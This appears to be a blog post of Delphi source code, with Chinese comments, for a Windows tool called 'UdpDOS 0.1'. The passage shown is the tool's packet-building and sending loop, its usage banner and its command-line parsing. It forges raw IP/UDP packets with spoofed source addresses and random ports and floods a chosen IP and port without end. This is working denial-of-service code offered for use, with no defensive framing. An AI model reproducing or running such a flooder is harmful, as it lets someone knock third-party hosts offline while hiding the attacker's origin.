   ipHdr.ip_checksum :=0; //16位IP首部校验和
   ipHdr.ip_srcaddr :=htonl(FakeIpHost+SendSEQ); //32位源IP地址
   //更改UDP首部
   udpHdr.udp_checksum :=0; //校验和
   udpHdr.src_portno := htons(Random(65536)+1);   //随机产生源端口
   iUdpChecksumSize := 0;
   ptr := @buf[0];
   FillChar(Buf, SizeOf(Buf), 0);
   Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));
   IncPtr(SizeOf(ipHdr.ip_srcaddr));
   iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);
   Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));
   IncPtr(SizeOf(ipHdr.ip_destaddr));
   iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);
   IncPtr(1);
   Inc(iUdpChecksumSize);
   Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));
   IncPtr(sizeof(ipHdr.ip_protocol));
   iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);
   Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));
   IncPtr(sizeof(udpHdr.udp_length));
   iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);
   move(udpHdr, ptr^, sizeof(udpHdr));
   IncPtr(sizeof(udpHdr));
   iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);
   Move(StrMessage[1], ptr^, Length(strMessage));
   IncPtr(Length(StrMessage));
   iUdpChecksumSize := iUdpChecksumSize + length(strMessage);
   cksum := checksum(buf, iUdpChecksumSize);
   udpHdr.udp_checksum := cksum;
   //现在 IP 和 UDP 头OK了，我们可以把它发送出去。
   FillChar(Buf, SizeOf(Buf), 0);
   Ptr := @Buf[0];
   Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));
   Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));
   Move(StrMessage[1], ptr^, length(StrMessage));
   //发送TCP报文
   ret:=sendto(sock, buf, iTotalSize, 0, Remote, sizeof(Remote));
   if ret = SOCKET_ERROR then
       writeln('sendto() failed: '+IntToStr(WSAGetLastError))
   else
       //writeln('send '+IntToStr(ret)+' bytes.');
       write('.');
   end;
   writeln('');
   end;
   // Close socket
   CloseSocket(sock);
   // Close Winsock 2
   WSACleanup;end;procedure Usage;begin
   WriteLn('UdpDOS 0.1 for 2000/XP/2003');
   WriteLn('http://www.wrsky.com');
   WriteLn('hnxyy@hotmail.com');
   WriteLn('QQ:19026695');
   WriteLn;
   WriteLn('Usage: UdpDOS -h:IP -p:port');end;procedure ParseOption(Cmd, Arg: string);begin
   if arg='' then
   begin
Usage;
Halt(0);
   end;
   if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
   begin
clientpa^.IP :=arg;
   end
   else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
   begin
clientpa^.Port :=StrToInt(Arg);
   end
   else
   begin
Usage;
Halt(0);
   end;end;procedure ProcessCommandLine;var
   CmdLn: integer;begin
   CmdLn := 1;
   if (ParamCount<2) or (ParamCount>2) then
   begin
Usage;
Halt(0);
   end;
   new(clientpa);
   while Length(ParamStr(CmdLn)) <> 0 do
   begin
ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);
   end;end;var
   ThreadID:DWord;begin
   ProcessCommandLine;
   StrMessage :='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
   CreateThread(nil, 0, @UdpDosThreadProc, clientpa, 0, ThreadID);
   while True do Sleep(1);end.

订阅：博文 (Atom)